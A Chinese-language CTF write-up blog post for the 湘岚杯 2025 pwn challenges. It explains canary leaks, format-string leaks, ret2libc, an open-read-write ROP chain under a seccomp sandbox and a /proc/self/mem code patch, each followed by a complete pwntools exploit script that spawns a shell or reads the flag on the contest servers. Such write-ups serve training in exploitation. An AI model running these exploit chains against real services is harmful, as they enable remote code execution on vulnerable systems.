湘岚杯 2025

Pwn

ret2text签到

ret2text

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process("./pwn")
p = remote("xlctf.huhstsec.top", 41658)

shell = 0x401157
payload = b'a'*0xA + b'a'*8 + p64(shell)
p.send(payload)

p.interactive()

ezlibc

开了 Canary 和 NX 保护

bug 函数有两次输入,第一次输入之后 printf 会打印输入的内容

由于程序开了 canary 保护,所以需要泄露出 canary。我们注意到 canary 在 rbp-8 的位置,那么我们可以先输入 0x30-0x8 字节的数据,然后再输入一个字节,在 printf 打印数据时,canary 也会被泄露出来,最后在第二次输入时打 ret2libc 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process("./pwn")
elf = ELF('./pwn')
p = remote("xlctf.huhstsec.top", 26764)
libc = ELF('./libc6_2.27-3ubuntu1.6_amd64.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400764
pop_rdi = 0x400843
ret = 0x40059e

p.recvuntil("I think it's easy to get the flag!")
payload = b'a'*(0x30-8) + b'b'
p.send(payload)
p.recvuntil(b'b')
canary = u64(p.recv(7).rjust(8, b'\x00'))
success('canary:{}'.format(hex(canary)))

p.recvuntil("Maybe UR closer to the key")
payload = b'a'*(0x30-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil("keep trying\n")
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

p.recvuntil("I think it's easy to get the flag!")
p.sendline(b'a')

p.recvuntil("Maybe UR closer to the key")
payload = b'a'*(0x30-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)

p.interactive()

你知道sandbox吗?

这道题也是离谱,中途换了附件,然后 libc 也没给对。

开了 Canary 和 NX 保护

main 函数调用了 sandbox 函数和 func 函数

func 函数有两次输入,第一次输入的大小是 0x20,没有栈溢出,但接下来的 printf 存在格式化字符串漏洞;第二次输入的大小是 0x150,存在栈溢出

查看沙箱发现禁用了 execve

我们可以先利用格式化字符串来泄露出 canary 和 libc,gdb 调试,发现 canary 和 libc 分别在 13 和 19 的位置

1
2
3
4
5
6
7
8
9
10
# attach(p, 'b *0x40133F')
p.recvuntil("Do you know orw?")
payload = b'%13$p-%19$p'
p.send(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)
success('canary:{}'.format(hex(canary)))
p.recvuntil(b'-')
libc_base = int(p.recv(14), 16) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

由于开了沙箱,我们选择使用 orw 来将 flag 读出来

我们先构造 read 的 rop 链,用于后续将文件 ./flag 读到 bss 段

1
2
3
4
5
6
#read(0, bss, 0x40)bss->'./flag'
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)

接着使用 open 打开 bss 段上的文件./flag

1
2
3
4
5
#open(bss, 0, 0)bss->'./flag'
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open)

然后使用 read 读取文件./flag 的内容到 bss 段,由于./flag 是第一个打开的文件,所以文件描述符是 3

1
2
3
4
5
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)

最后需要将 flag 打印出来,这里我使用了 puts 来打印

1
2
3
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process("./pwn1")
elf = ELF('./pwn1')
p = remote("xlctf.huhstsec.top", 48321)
# libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401402
pop_rdi = 0x4014c3
bss = 0x404060+0x400

# attach(p, 'b *0x40133F')
p.recvuntil("Do you know orw?")
payload = b'%13$p-%19$p'
p.send(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)
success('canary:{}'.format(hex(canary)))
p.recvuntil(b'-')
libc_base = int(p.recv(14), 16) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rsi = libc_base + 0x16333a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret;

#read(0, bss, 0x40)
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)
p.recvuntil("can you did it?")
p.send(payload)
sleep(0.2)
p.send(b'./flag')

p.interactive()

值得一提的是,由于当时 libc 没给对,给我做急眼了,然后突然意识其实这道题可以泄露出 puts 函数的真实地址,远程 puts 函数的真实地址是 e50 结尾,这正好是我虚拟机 Ubuntu22.04 的 libc。

我们先利用格式化字符串泄露出 canary

1
2
3
4
5
6
7
# attach(p, 'b *0x40133F')
p.recvuntil("Do you know orw?")
payload = b'%13$p'
p.send(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)
success('canary:{}'.format(hex(canary)))

第二次输入我们泄露出 puts 函数的真实地址,再返回 main 函数,然后就是利用 puts 函数计算 libc 基址。

1
2
3
4
5
6
7
8
9
10
11
p.recvuntil("can you did it?")
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.send(payload)
p.recvuntil(b'\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process("./pwn3")
elf = ELF('./pwn1')
p = remote("xlctf.huhstsec.top", 48321)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401402
pop_rdi = 0x4014c3
bss = 0x404060+0x400

# attach(p, 'b *0x40133F')
p.recvuntil("Do you know orw?")
payload = b'%13$p'
p.send(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)
success('canary:{}'.format(hex(canary)))

p.recvuntil("can you did it?")
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.send(payload)
p.recvuntil(b'\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
read = libc_base + libc.sym['read']
open = libc_base + libc.sym['open']
write = libc_base + libc.sym['write']
pop_rsi = libc_base + 0x16333a
pop_rdx = libc_base + 0x904a9#pop rdx; pop rbx; ret;

p.recvuntil("Do you know orw?")
payload = b'%13$p'
p.send(payload)
p.recvuntil('0x')
canary = int(p.recv(16), 16)
success('canary:{}'.format(hex(canary)))

#read(0, bss, 0x40)
payload = b'a'*(0x40-8) + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(0)
payload += p64(open)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x40) + p64(0)
payload += p64(read)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)
p.recvuntil("can you did it?")
p.send(payload)
sleep(0.2)
p.send(b'./flag')

p.interactive()

宇宙射线

没做出来,复现一下

main 函数,打开了一个/proc/self/mem 文件,通过该文件,可以读取或写入进程的内存。第一个输入提示用户输入一个十六进制格式的内存地址,然后/proc/self/mem 文件会根据输入的内存地址进行修改。这里我们还可以注意到,/proc/self/mem 文件关闭后有一个 sys_exit 的系统调用

查看其汇编代码,将 mov rax, 3Ch 改成 mov rax, 0 就是可以系统调用 read,从而进行溢出

查找 gadget 的时候,并没有发现 rdi 的 gadget 的,不过 key 函数给出了一段 gadget,通过这段 gadget 可以控制 rdi

总的来说,我们需要通过/proc/self/mem 文件将代码段的 sys_exit 系统调用改为 read,实际上就是两次输入,第一次输入地址从而找到修改点,第二次输入 0 将 3Ch 改成 0 即可实现 mov rax 0; 有了溢出点之后打 ret2libc 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process("./pwn")
elf = ELF('./pwn')
p = remote('101.43.67.25', 8090)
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x401309
mov_rdi_rbp_pop_rbp = 0x40129E
pop_rbp = 0x4012A2
ret = 0x40101a

# attach(p)
p.recvuntil("Enter the coordinates of the cosmic rays:")
p.sendline(hex(0x40155F+3).encode())
p.recvuntil("Enter the data sent:")
p.sendline(b'0x0')#rax -> 0

# attach(p)
payload = b'a'*(0x12+8) + p64(pop_rbp) + p64(puts_got)
payload += p64(mov_rdi_rbp_pop_rbp) + p64(0x0) + p64(puts_plt) + p64(main)
p.send(payload)
p.recvuntil(b'\n')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success('puts_addr:{}'.format(hex(puts_addr)))

libc_base = puts_addr - libc.sym['puts']
success('libc_base:{}'.format(hex(libc_base)))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + next(libc.search(asm('pop rdi; ret')))

p.recvuntil("Enter the coordinates of the cosmic rays:")
p.sendline(hex(0x40155F+3).encode())
p.recvuntil("Enter the data sent:")
p.sendline(b'0x0')

payload = b'a'*(0x12+8) + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.send(payload)

p.interactive()

湘岚杯 2025
https://tsuk1ctf.github.io/post/2004.html
作者
Tsuk1
发布于
2025年1月18日
许可协议